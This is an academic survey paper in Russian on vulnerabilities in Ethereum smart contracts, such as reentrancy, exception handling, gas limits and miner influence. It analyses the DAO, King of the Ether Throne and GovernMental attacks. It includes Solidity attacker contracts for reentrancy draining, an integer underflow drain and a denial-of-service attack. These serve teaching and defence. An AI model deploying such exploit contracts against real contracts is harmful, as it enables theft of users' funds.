УДК 004.056(045)

Уязвимости смарт-контрактов блокчейн-платформы Ethereum

Алиев Иса Адамович,
студент магистратуры факультета
прикладной математики и информатики,
Финансовый университет,
Москва, Россия
isaaliev12@gmail.com

Аннотация. *Смарт-контракты — это программы, которые хранятся в распределенном реестре и выполняют некоторый прописанный в них код в ответ на адресованные им транзакции. Поскольку смарт-контракты управляют ценными ресурсами, критически важной является их безопасность относительно атак, нацеленных на кражу этих ресурсов или выведение контрактов из строя. Данная работа посвящена наиболее известным причинам уязвимости смарт-контрактов одной из наиболее распространенных блокчейн платформ — Ethereum. В работе также представлены реальные атаки, которые использовали такие уязвимости.*

Ключевые слова: *смарт-контракты; технология блокчейн; безопасность; атаки; уязвимости; Ethereum; криптовалюта; Solidity*

Vulnerabilities of the Ethereum Blockchain Smart Contracts

Aliev Isa Adamovich,
master student of faculty
of Applied Mathematics and Information Technology,
Financial University under the Government of the Russian Federation,
Moscow, Russia
isaaliev12@gmail.com

Abstract. *Smart contracts are programs that are stored on a distributed public ledger and execute their code in response to transactions addressed to them. Since smart contracts handle valuable assets, it is crucial that their implementation is secure against attacks aimed at stealing these assets or disabling contracts. This paper is devoted to the most common reasons for vulnerabilities of smart contracts of the most well-known and used programmable blockchain platform so far — Ethereum. The paper also presents real attacks that exploited such vulnerabilities.*

Keywords: *smart contract; blockchain technology; security; attacks; vulnerabilities*

Научный руководитель: ***Гисин В.Б.,*** *кандидат физико-математических наук, профессор, профессор Департамента анализа данных, принятия решений и финансовых технологий, Финансовый университет, Москва, Россия.*

В последние несколько лет сильно возрос интерес к технологии блокчейн. Блокчейн — это криптографически защищенный распределенный реестр. Одним из самых популярных блокчейн-приложений является криптовалюта Bitcoin. Bitcoin использует блокчейн для записи транзакций о передаче криптовалюты от одного пользователя другому. Тем не менее блокчейн имеет намного большее применение, например отслеживание прав собственности на ресурсы, голосование, финансовые продукты и т.п. С появлением технологии блокчейн концепция смарт-контракта, предложенная еще в 1994 г., приобрела конкретную форму и реализацию. Смарт-контракт — это соглашение, написанное языком, понятным для машины, для последующего его выполнения. Смарт-контракты, опубликованные в блокчейне, позволяют взаимодействовать пользователям без необходимости доверять друг другу.

Одной из наиболее популярных платформ, реализующих возможность выполнения смарт-контрактов, является Ethereum [1]. Ethereum гарантирует невозможность изменения конечного состояния сети после выполнения некоторой логики смарт-контракта и его выполнение будет соответствовать именно той логике, которая была в нем прописана изначально. К сожалению, правильность исполнения кода контракта не может гарантировать его полную безопасность. Анализ существующих смарт-контрактов показывает, что большая доля существующих смарт-контрактов уязвима [2].

Данная работа посвящена уязвимостям смарт-контрактов Ethereum. В работе представлен обзор смарт-контрактов Ethereum, особенностей их выполнения и структуры. Рассмотрены причины уязвимостей контрактов и приведены примеры реальных атак, использующих эти уязвимости.

О смарт-контрактах Ethereum

Блокчейн-платформа Ethereum позволяет ее пользователям реализовывать процессы разной сложности, поскольку она является программируемой платформой. Программируемость данной платформы обусловлена возможностью написания своей собственной логики взаимодействия между пользователями в виде смарт-контрактов. Код этих контрактов хранится в распределенном реестре и выполняется виртуальной машиной Ethereum, которая является основной этой блокчейн-платформы.

```
3  pragma solidity ^0.5.1;
4
5  contract Example {
6      uint a = 0;
7
8      function increment () public {
9          a += 1;
10     }
11 }
```

Рис. 1. **Пример смарт-контракта**

Источник: составлено автором.

Виртуальная машина Ethereum

Как и все блокчейн-платформы, платформа Ethereum функционирует благодаря узлам в сети, которые используют разработанное под данную платформу программное обеспечение. В случае с платформой Ethereum таким программным обеспечением является Ethereum Virtual Machine (EVM). EVM можно назвать средой выполнения контрактов Ethereum, поскольку их код выполняется именно ею. Виртуальная машина Ethereum полностью изолирована от глобальной сети, что не только вносит значительный вклад в безопасность, но и позволяет создавать и тестировать смарт-контракты локально.

Основная задача EVM — выполнение кода смарт-контракта. Однако EVM работает не с кодом, написанном на языке высокого уровня, а с так называемым EVM байт-кодом, в который предварительно компилируется исходный код контракта. Именно байт-код EVM хранится в реестре. Данный байт-код представляет собой 16-теричную строку, которая является представлением кодов операций и операндов. Например, рассмотрим контракт *Example* (*рис. 1*).

EVM байт-код будет выглядеть следующим образом:

6080604052600080553480156013 … 0029,

а соответствующим набором операций и операндов является следующее представление:

PUSH1 0x80 PUSH1 0x40 MSTORE
PUSH1 0x0 DUP1 SSTORE CALLVALUE DUP1
ISZERO PUSH1 0x13 … STOP 0x29

Каждой операции соответствует цена ее исполнения, так называемый *gas*. Эта особенность EVM, требование платы за каждую операцию, гаранти-

```
pragma solidity ^0.5.0;

contract AWallet {
    address owner;
    mapping (address => uint) public outflow;

    constructor() public {
        owner = msg.sender;
    }

    function pay(uint amount, address payable recipient) public payable returns (bool) {
        require(msg.sender == owner && msg.value == 0, "Not allowed");
        if (amount > address(this).balance) return false;
        outflow[recipient] += amount;
        recipient.transfer(amount);
        return true;
    }

    function() external {}
}
```

Рис. 2. **Пример простого смарт-контракта**

Источник: составлено автором.

рует защиту от DoS атак, являющихся наиболее популярным способом атаки в настоящее время. По причине наличия такого ограничения на выполнение кода среду EVM иногда называют квазиполной по Тьюрингу машиной.

Плата за исполнение кода

Каждый узел в сети Ethereum выполняет одни и те же вычисления и хранит одни и те же значения. Такая избыточность как раз и позволяет достичь консенсуса внутри сети, не прибегая к доверенным третьим лицам. Однако эта избыточность также является причиной, по которой выполнение этих вычислений становится сильно ресурсоемким. Для того чтобы мотивировать узлы, выполнять такие вычисления в сети Ethereum, существует понятие платы за вычисления: каждая выполняемая операция имеет свою конкретную стоимость, выражающуюся в так называемом количестве *gas*'а.

При составлении каждой транзакции в нее включают поля STARTGAS и GASPRICE, что определяет максимальное количество *gas*'а и цену за каждую единицу *gas*'а, которую готов заплатить инициатор транзакции. Таким образом, платой (или комиссией) за исполнение кода, на который указывает транзакция, будет являться произведение двух вышеуказанных величин. Однако если при выполнении кода *gas* закончится до того, как будут выполнены все операции, то будет сгенерировано исключение, следовательно, выполнение будет прервано и все изменения будут отменены. Также заметим, что в случае генерации любого другого исключения весь оставшийся на момент генерации *gas* сгорает, т.е. не возвращается инициатору. Следует отметить, что чем больше плата указана в транзакции, тем больше вероятность включения такой транзакции в блок.

Таким образом, концепция платы за исполнение кода, во-первых, гарантирует вознаграждение узлу, исполняющему транзакцию, и защищает сеть от DoS-атак, и, во-вторых, решает проблему, при которой выполнение кода смарт-контракта может оказаться бесконечным.

Структура смарт-контракта и вызов его функций

Смарт-контракт, написанный на языке высокого уровня, напоминает собой объявление класса в парадигме объектно-ориентированного программирования. Ниже приведен пример контракта, написанного на языке Solidity, представляющего собой простой кошелек (*рис. 2*).

Смарт-контракт состоит из набора переменных, описывающих его состояние, и набора функций, каждая из которых содержит в себе ту или иную логику, заложенную в нее разработчиком контракта.

Вообще говоря, значения переменных состояния смарт-контракта хранятся в его постоянном хранилище. В приведенном выше примере переменными состояния являются *owner* типа *address*, которая хранит собственника кошелька, и *outflow* типа отображения из множества *address* в *uint*, которая хранит отток средств по каждому адресу в виде ассоциативного массива. Также контракт неявно содержит переменную *balance*, значение которой

соответствует сумме переведенных на контракт денежных единиц. Заметим, что переменные могут быть помечены как публичные или приватные, однако по-настоящему приватными они быть не могут, поскольку состояние смарт-контракта хранится в публичном реестре.

Функции смарт-контракта определяют «входные точки», через которые можно инициировать выполнение конкретного кода. Помимо обыкновенных функций с привычной сигнатурой, контракт также содержит функцию-конструктор, которая вызывается при создании контракта, и так называемую *fallback* функцию с пустой сигнатурой, которая вызывается в нескольких особых случаях:

- при переводе на контракт только денежных единиц;
- если вызываемая функция не найдена.

Функции могут быть вызваны как обычными пользователями, так и другими контрактами посредством Application Binary Interface (ABI) или Application Programming Interface (API).

ABI представляет собой набор соглашений, необходимых для доступа к низкоуровневым сервисам. В случае с EVM определение функции и параметров, с которыми ее надо вызвать, происходит следующим образом:

1. Получить хэш-сигнатуры функции с помощью алгоритма Keccak256.
2. Первые 4 байта полученного хэша будут началом целевой строки и будут указывать на функцию, которую нужно вызвать.
3. Значение каждого параметра кодируется в 16-теричную строку по правилам, определенным для каждого типа, и добавляются в целевую строку.
4. Получившаяся строка позволяет EVM определить, какую функцию, с какими значениями параметров вызвать.

Для прямого обращении к функциям контракта необходимо предварительно объявить его интерфейс. После этого вызов функций другого контракта будет возможен посредством точечной нотации.

Некоторые особенности смарт-контрактов

Первая особенность, по которой написание смарт-контрактов отличается от привычного программирования, — это обработка исключений. Обычно генерируемые в программе исключения можно поймать, обработать, и программа продолжит работу. В случае со смарт-контрактами Ethereum это не так: исключения нельзя поймать и обработать, что нередко используется злоумышленниками в атаках. При генерации исключения выполнение кода прекращается, а все изменения отменяются. В версиях языка Solidity до 0.4.10 генерация исключений сжигала весь *gas*, однако, начиная с этой версии, были добавлены функции *revert*, *require* и *assert*, из которых сжигает весь *gas* только последняя.

Следующая особенность, на которую стоит обратить внимание, связана с разными способами вызова функций другого смарт-контракта. Как было показано ранее, функции можно вызывать с помощью функции *call*. Однако необходимо учитывать, что такой вариант вызова, во-первых, не наследует исключений, во-вторых, передает в вызываемую функцию весь доступный *gas* (если явно не указано его количество), что является причиной успешности атак, нацеленных на повторный вход в функции, написанные без учета такой возможности. Во избежание проблемы повторного входа в Solidity имеются две функции: *transfer*, *send*. Тем не менее данные функции тоже работают по-разному: *transfer* наследует исключения, а *send* — нет.

И наконец, вызовы функций других контрактов происходят синхронно, т.е. вызывающий код ожидает возвращения из вызываемой функции до того, как перейдет к следующей инструкции. На первый взгляд может показаться, что контракты подобны небольшим серверным приложениям, к которым привычно обращаться асинхронно. Однако никакой необходимости в асинхронности нет, поскольку узел, выполняющий код некоторого контракта, имеет локальный доступ ко всем остальным контрактам, хранящимся в сети.

Уязвимости смарт-контрактов

Проблемы с безопасностью в смарт-контрактах являются достаточно серьезными по нескольким причинам:

- смарт-контракты работают с финансовыми активами;
- ошибки в смарт-контрактах невозможно исправить в связи с природой блокчейна;
- изменения в блокчейне, порождаемые транзакциями мошеннических контрактов, невозможно откатить.

Обобщив причины, по которым в сети появляются уязвимые смарт-контракты, корневой причиной можно назвать недостаточное понимание разработчиками реальной семантики платформы.

```
contract VulnerableContract {
    mapping (address => bool) sentTo;

    constructor() public payable {}

    function pay(address payable recipient) public payable {
        if (!didAlreadySendTo(recipient)) {
            recipient.call.value(10)('');

            sentTo[recipient] = true;
        }
    }

    function didAlreadySendTo(address recipient) private view returns(bool) {
        return sentTo[recipient];
    }
}
```

Рис. 3. **Повторный вход. Пример.VulnerableContract**

Источник: составлено автором.

В своей работе об атаках на смарт-контракты Атзеи, Бартолетти и Кимоли [3] предложили свою систематизацию уязвимостей контрактов, разделив все уязвимости на три уровня: уровень языка Solidity, уровень EVM и уровень блокчейна. Далее будут представлены уязвимости, обобщенные именно по такому принципу.

Уровень языка Solidity

Поскольку именно по коду контракта выявляются его уязвимости, написание безопасного относительно атак кода является серьезной и наиболее важной задачей перед размещением контракта в сети. Далее представлены причины уязвимостей, идентифицируемых на уровне языка смарт-контрактов Ethereum — Solidity, и возможные атаки, направленные на использование этих уязвимостей.

Косвенное выполнение неизвестного кода

Косвенность обуславливается наличием в смарт-контрактах особенности, о которой говорилось в первой части статьи — *fallback* функции. Причин, по которым возможен вызов данной функции, несколько:

- вызов функции другого контракта посредством ABI: если в переданной для кодирования строке сигнатуры допущена опечатка или же функции с такой сигнатурой не существует, то будет вызвана *fallback* функция;
- пополнение баланса другого контракта порождает вызов его *fallback* функции;
- вызов функции другого контракта посредством API: если разработчик при объявлении интерфейса вызываемого контракта допустит ошибку (например, ошибется в типе какого-либо параметра), то будет вызвана *fallback* функция.

Повторный вход

Как было сказано ранее, в Ethereum вызовы функций других контрактов происходят синхронно, т.е. вызывающий код ждет конца выполнения вызываемого кода до того, как продолжит свое выполнение. Такая особенность может стать причиной использования вызываемым контрактом промежуточного состояния вызывающего контракта. Такая ситуация не всегда очевидна при разработке, если не берутся во внимание возможные мошеннические действия со стороны вызываемого контракта.

Рассмотрим следующий простой пример. Предположим, что в блокчейне есть контракт *VulnerableContract* (*рис. 3*).

Такой контракт единоразово пополняет баланс вызывающей стороны на 10 *wei* и записывает ее адрес в переменную во избежание повторного пополнения. При каждом следующем обращении к данной функции контракт проверяет, пополнялся ли баланс по этому адресу ранее, в случае чего пополнения не происходит. Для того чтобы украсть все *wei,* доступные на таком контракте, достаточно повторно войти в функцию *pay* до того, как адрес будет записан в переменную. Поскольку для пополнения используется функция *call*, повторный вход можно произвести, прописав соответствующую

```
24 contract MaliciousContract {
25     function() external payable {
26         VulnerableContract(msg.sender).pay(address(uint160(address(this))));
27     }
28 }
```

Рис. 4. **Повторный вход. Пример. MaliciousContract**

Источник: составлено автором.

логику в *fallback* функции мошеннического контракта (*рис. 4*).

Для успешной атаки необходимо разместить такой контракт в сети и вызвать функцию *pay* контракта *VulnerableContract*, передав адрес мошеннического контракта как аргумент.

Эффекты исключений

Исключения в языке Solidity генерируются в следующих трех случаях:

- недостаток *gas*'а;
- переполнение стека вызовов;
- вызов соответствующих команд для генерации исключений, указанных в первой части данной работы.

Однако эффект от генерации исключения в Solidity не является консистентным — он зависит от того, как контракты вызывают друг друга. Возможны следующие два случая:

1. При вызове функции другого контракта напрямую через API исключения наследуются, т.е. если в вызываемой функции будет сгенерировано исключение, то выполнение кода вызываемой функции прекратится и изменения будут откатаны.
2. При вызове функции другого контракта через функцию *call* исключения не наследуются — *call* возвращает *false* и выполнение продолжается.

Следует заметить, что данная причина является одной из наиболее распространенных причин уязвимости контрактов, поскольку зачастую разработчики не проверяют возвращаемое значение функции *call*, последствия чего оказываются непредсказуемыми.

Лимит gas'а в send функции

Функцию *send* относят к функциям, безопасным относительно повторного входа. Дело в том, что количество *gas*'а, которым снабжается ее вызов, ограничено: оно равно 2300. Такого количества хватает только на некоторые байт-код операции. Учитывая то, что *send* порождает вызов *fallback* функции, можно заключить, что контракты, пополняющие баланс других адресов с помощью этой функции, будут корректно отрабатывать только в тех случаях, при которых пополняемый адрес является адресом либо обычного пользователя, либо контракта с легковесной в смысле *gas*'а *fallback* функцией.

Хранение секретов

Как было сказано в первой части статьи, переменные смарт-контракта могут быть помечены как публичные или как приватные. Тем не менее приватность переменной не гарантирует ее секретность, поскольку состояние контракта хранится в открытом реестре. Некоторым смарт-контрактам все же бывает необходимо иметь скрытые до некоторого момента времени данные. В таком случае необходимо реализовывать специальные криптографические методы. Такие методы описаны в работах [4, 5].

Уровень EVM

Неизменяемость кода контракта

Помимо того, что невозможность изменить код смарт-контракта усиливает доверие пользователей к сети, она в то же время является причиной, по которой ошибка, допущенная при реализации контракта, став уязвимым местом, остается им навсегда. Таким образом, разработчики должны позаботиться о путях изменения логики контракта или его остановки еще до этапа разработки.

Хорошим примером использования неизменяемости кода является смарт-контракт Rubixi. Данный контракт представлял собой финансовую пирамиду, в таком контракте его собственник всегда мог перечислить себе накопленные в пирамиде сборы. Обычно собственник устанавливается в конструкторе контракта, который вызывается при его создании, такая же логика была реализована в контракте Rubixi. Необходимо заметить, что в версиях языка Solidity до 0.4.22 конструкторы определялись как функции с именем, эквивалентным имени контракта. В какой-то момент контракт был переименован из DynamicPyramid в Rubixi, однако разработчик забыл изменить имя конструктора, поэтому любой вызвавший функцию DynamicPyramid() становился

собственником не своего контракта и перечислял себе накопленные денежные средства.

Ограничение на размер стека вызовов

Ethereum Virtual Machine ограничивает максимальный размер стека вызовов до 1024. Данное ограничение могло быть использовано злоумышленником следующим образом. Перед тем, как вызвать функцию некоторого контракта, можно вложенными вызовами своих же функций нарастить размер стека до 1022. В таком случае при выполнении кода контракта-жертвы вызовом очередной функции будет сгенерировано исключение. При отсутствии обработки исключений в таком контракте атака злоумышленника окажется успешной. Однако на данный момент это ограничение не может быть использовано таким образом, поскольку 18 октября 2016 г. протокол платформы был изменен так, что *gas* в любом случае закончится раньше, чем стек достигнет своего ограничения.

Уровень блокчейна

Непредсказуемость состояния контракта

Состояние контракта определяется значениями его переменных, изменяемых посредством вызова его функций. Вызов функции смарт-контракта является такой же транзакцией, как и все остальные. В свою очередь, транзакции подтверждаются сетью только после процесса сборки очередного блока. Таким образом, когда пользователь посылает транзакцию для вызова функции контракта, он не может быть уверен в том, что транзакция будет выполнена при том же состоянии контракта, в котором он находился на момент отправки. Такое может произойти, поскольку другие транзакции в том же блоке изменили состояние контракта. Более того, майнеры имеют некоторую свободу в упорядочивании транзакций при формировании блока, так же как и в выборе включения той или иной транзакции в блок.

В некоторых случаях невозможность определения состояния контракта, при котором транзакция будет выполнена, может стать причиной уязвимости самого контракта. Также особенно опасным становится взаимодействие с контрактами, написанными таким образом, что их поведение может быть изменено в течение времени.

Временная составляющая

Иногда логика смарт-контрактов может зависеть от времени. Время для контракта доступно только в контексте транзакции. Временная метка транзакции, в свою очередь, равна метке блока, в который она включена. Таким образом достигается согласованность с состоянием контракта, однако это также создает возможность использования майнером своего положения в силу некоторой свободы в выставлении временной метки для блока. Тогда майнер имеет некоторое преимущество перед другими участниками контракта, чем он может воспользоваться для извлечения той или иной выгоды.

Атаки на смарт-контракты

DAO

18 июня 2016 г. была осуществлена атака на краудфандинговый контракт, в результате которой злоумышленник успешно перевел на свой адрес около 60 млн доллю США[1]. Рассмотрим упрощенный вариант этого контракта, содержащий те же уязвимости и соответствующие атаки. На *рис. 5* представлен контракт *DAOExample*.

Как видно по коду, пользователь может зачислять денежные единицы другому адресу, который впоследствии может перевести их на свой счет, вызвав соответствующую функцию. Возможно провести две атаки на такой контракт.

Атака № 1

Рассмотрим следующий смарт-контракт, который злоумышленнику необходимо опубликовать в сети (*рис. 6*).

После публикации злоумышленнику необходимо зачислить в *DAOExample* по адресу контракта любую сумму (напр. 1 *wei*), после чего вызвать *fallback* функцию контракта злоумышленника. После вызова этой функции проверка на *рис. 5* (в строке 13) пройдет успешно, затем на контракт злоумышленника будет перечислен 1 *wei*. Поскольку при перечислении денежных средств вызывается *fallback* функция адресанта, то не успев выполнить строку 16, выполнение опять попадет на строку 13, пройдет проверку и снова зачислит адресанту 1 *wei*. Этот процесс закончится в одном из двух случаев:

1) закончится *gas*.
2) баланс *DAOExample* обнулится.

Заметим, что перечисление произойдет не более, чем 1024 раз из-за особенности EVM, рассмотренной в статье ранее. Для завершения атаки необходимо

[1] Understanding the DAO attack. URL: https://www.coindesk.com/understanding-dao-hack-journalists (дата обращения: 01.04.2019).

```
contract DAOExample {
    mapping (address => uint) credit;

    function donate(address to) public payable {
        credit[to] += msg.value;
    }

    function withdraw(uint amount) public payable {
        if (credit[msg.sender] >= amount) {
            msg.sender.call.value(amount)('');

            credit[msg.sender] -= amount;
        }
    }

    function queryCredit() public view returns (uint) {
        return credit[msg.sender];
    }
}
```

Рис. 5. **Атака на DAO. DAOExample**

Источник: составлено автором.

```
contract MaliciousContract {
    DAOExample target = DAOExample(0x692a70D2e424a56D2C6C27aA97D1a86395877b3A);
    address payable owner;

    constructor() public {
        owner = msg.sender;
    }

    function() payable external {
        target.withdraw(target.queryCredit());
    }

    function finalize() public payable {
        address(owner).send(address(this).balance);
    }
}
```

Рис. 6. **Атака на DAO № 1**

Источник: составлено автором.

вызвать функцию *finalize* для перечисления средств собственнику контракта.

Атака № 2

Вторая атака ориентирована на то, что баланс каждого адреса в *DAOExample* хранится как *uint*. Рассмотрим смарт-контракт на *рис. 7*.

Для осуществления атаки собственнику *MaliciousContract* необходимо вызвать функцию *attack*. Учитывая логику *fallback* функции данного контракта, выход из функции *withdraw* произойдет дважды, причем в первый раз *credit* по адресу *MaliciousContract* обнулится, а во второй раз результатом вычисления ввиду типа данных станет 2^{256}–1. Таким образом, после вызова функции *finalize* на адрес собственника будут перечислены все средства, имеющиеся на контракте *DAOExample*.

King of the Ether Throne

King of the Ether Throne[2] — это контракт-игра, в которой пользователи соревнуются в получении статуса King of the Ether. Для того чтобы стать текущим королем, необходимо отправить на контракт некоторое количество денежных единиц. При этом предыдущему королю выплачивается комиссия. Рассмотрим упрощенную версию этого контракта (*рис. 8*).

В данной реализации контракта присутствует проблема, по причине которой при смене короля предыдущий король не получит компенсацию. Заме-

[2] King of the Ether Throne: Post mortem investigation. URL: https://www.kingoftheether.com/postmortem.html (дата обращения: 02.04.2019).

```
contract MaliciousContract {
    DAOExample target = DAOExample(0x692a70D2e424a56D2C6C27aA97D1a86395877b3A);
    address payable owner;
    bool mustAttack = true;

    constructor() public {
        owner = msg.sender;
    }

    function() payable external {
        if (mustAttack) {
            mustAttack = false;
            target.withdraw(1);
        }
    }

    function attack() public payable {
        target.donate.value(1)(address(this));
        target.withdraw(1);
    }

    function finalize() public payable {
        target.withdraw(address(target).balance);
        owner.send(address(this).balance);
    }
}
```

Рис. 7. **Атака на DAO № 2**

Источник: составлено автором.

тим, что средства королю перечисляются функцией *send*, которая не наследует исключений и передает в вызов небольшое количество *gas*'а. Таким образом, если адрес короля это контракт с затратной *fallback* функцией, то средства не передадутся, а выполнение кода *KotET* продолжится, и новый король будет назначен.

Предположим, что логика перечисления комиссии была исправлена с учетом вышесказанного (*рис. 9*).

Однако и такая реализация имеет недочет: она уязвима относительно DoS-атаки. Для того чтобы осуществить такую атаку, необходимо опубликовать контракт MaliciousContract (*рис. 10*).

После того, как злоумышленник станет королем посредством вызова функции *unseatKing* данного контракта, контракт *KotET* перестанет принимать новых королей. Такое поведение объясняется тем, что каждый раз при попытке отправить компенсацию текущему королю (контракт злоумышленника) будет генерироваться исключение.

GovernMental

GovernMental[3] представляет из себя контракт, подобный финансовой пирамиде. Для того чтобы присоединиться к нему, необходимо отправить на контракт некоторую денежную сумму. Впоследствии если в течение некоторого указанного в контракте времени не появится новый участник, то последний получает денежное вознаграждение.

Далее представлены основные функции упрощенного контракта GovernMental (*рис. 11*).

Заметим, что логика контракта зависит от времени и порядка обработки транзакций: и то, и другое находится под властью майнера, собирающего очередной блок. Предположим, что злоумышленник майнер. Возможны две атаки на такой контракт:

- Злоумышленник может просто не включить никакие транзакции, адресованные данному контракту, кроме своей, став единственным и, соответственно, последним инвестором. Также он может переопределить порядок транзакций так, чтобы быть первым, кто инвестирует в контракт. Учитывая то, что инвестиция не принимается, если ее величина не больше хотя бы половины текущего выигрыша, то, подобрав нужную величину средств, первой транзакцией майнер может заблокировать вход для всех остальных в блоке.
- Злоумышленник может подобрать временную метку блока так, чтобы его транзакция осталась последней, поскольку, как было сказано ранее, майнер имеет небольшую свободу в ее выставлении.

Заключение

В данной работе рассмотрены смарт-контракты платформы Ethereum. Представлены возможные причины их уязвимостей и то, как такие уязвимо-

[3] GovernMental. URL: http://governmental.github.io/GovernMental/ (дата обращения: 02.04.2019).

```
contract KotET {
    address payable public king;
    uint public claimPrice = 100;
    address owner;

    constructor() public {
        owner = msg.sender;
        king = msg.sender;
    }

    function() external payable {
        require(msg.value >= claimPrice, 'Not enough value provided');
        uint compensation = calculateCompenstation();
        king.send(compensation);
        king = msg.sender;
        calculateNewPrice();
    }

    function calculateCompenstation() public returns (uint) {}
    function calculateNewPrice() public {}
}
```

Рис. 8. **Атака на King of the Ether Throne. KotET**

Источник: составлено автором.

```
    function() external payable {
        require(msg.value >= claimPrice, 'Not enough value provided');
        uint compensation = calculateCompenstation();
        (bool success, ) = address(king).call.value(compensation)('');
        require(success, 'Failed to send compensation');
        king = msg.sender;
        calculateNewPrice();
    }
```

Рис. 9. **KotET. Модификация**

Источник: составлено автором.

```
contract MaliciousContract {
    function unseatKing(address a, uint w) public {
        a.call.value(w);
    }

    function() external payable {
        require(false);
    }
}
```

Рис. 10. **Атака на KotET**

Источник: составлено автором.

сти могут быть использованы злоумышленниками, преследующими те или иные цели. Резюмируя, можно сказать, что написание полностью безопасного контракта является сложной и кропотливой задачей. Разработанные контракты требуют проведения тщательного аудита перед публикацией в сеть.

Атаки, представленные в работе, подтверждают, что общей причиной уязвимости смарт-контрактов является пока еще не привычная для разработчиков семантика программируемых блокчейн-платформ.

Следует сказать, что на данный момент существует несколько специальных инструментов для анализа возможных уязвимостей смарт-контрактов, однако их применение ограничено для полных по Тьюрингу машин. Например, инструмент Oyente преобразует байт-код EVM в граф

```
function invest() public payable {
    require(msg.value >= jackpot / 2);
    lastInvestor = msg.sender;
    jackpot += msg.value / 2;
    lastInvestmentTimestamp = block.timestamp;
}

function resetInvestment() public {
    require(block.timestamp >= lastInvestmentTimestamp + 1 minutes);

    lastInvestor.send(jackpot);
    owner.send(address(this).balance - 1 ether);

    lastInvestor = address(uint160(0));
    jackpot = 1 ether;
    lastInvestmentTimestamp = 0;
}
```

Рис. 11. **Governmental**

Источник: составлено автором.

выполнения программы, после чего символьно исполняет его, пытаясь обнаружить некоторые шаблоны, ведущие к той или иной уязвимости. Преимуществом инструментов, принимающих на вход байт-код, является возможность проанализировать уже существующие в блокчейне контракты. Например, Oyente, проанализировав существующие 19 366 контрактов, показал, что 8833 из них уязвимы [2].

Подводя итог, можно сказать, что хотя технология блокчейн имеет ряд особенностей, которые делают ее безопасной для пользователей, программируемость некоторых блокчейн-платформ вносит в сеть проблему человеческого фактора, что неизбежно ведет к уменьшению абсолютной безопасности таких платформ в большей части относительно сохранности ценных активов пользователей.

Список источников

1. Buterin V. Ethereum: a next generation smart contract and decentralized applicationplatform. 2013. URL: https://github.com/ethereum/wiki/wiki/White-Paper (дата обращения: 01.04.2019).
2. Luu L. et al. Making smart contracts smarter. Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM; 2016:254–269.
3. Atzei N., Bartoletti M., Cimoli T. A survey of attacks on ethereum smart contracts (sok). International Conference on Principles of Security and Trust. — Springer, Berlin, Heidelberg; 2017:164–186.
4. Andrychowicz M. et al. Secure multiparty computations on bitcoin. 2014 IEEE Symposium on Security and Privacy. IEEE, 2014:443–458.
5. Boneh D., Naor M. Timed commitments. Annual International Cryptology Conference. Springer, Berlin, Heidelberg; 2000:236–254.

References

1. Buterin V. Ethereum: a next generation smart contract and decentralized application platform. 2013. URL: https://github.com/ethereum/wiki/wiki/White-Paper (accessed on 01.04.2019).
2. Luu L. et al. Making smart contracts smarter. Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM; 2016:254–269.
3. Atzei N., Bartoletti M., Cimoli T. A survey of attacks on ethereum smart contracts (sok). International Conference on Principles of Security and Trust. Berlin, Heidelberg: Springer; 2017:164–186.
4. Andrychowicz M. et al. Secure multiparty computations on bitcoin. 2014 IEEE Symposium on Security and Privacy. IEEE; 2014:443–458.
5. Boneh D., Naor M. Timed commitments. Annual International Cryptology Conference. Berlin, Heidelberg: Springer; 2000:236–254.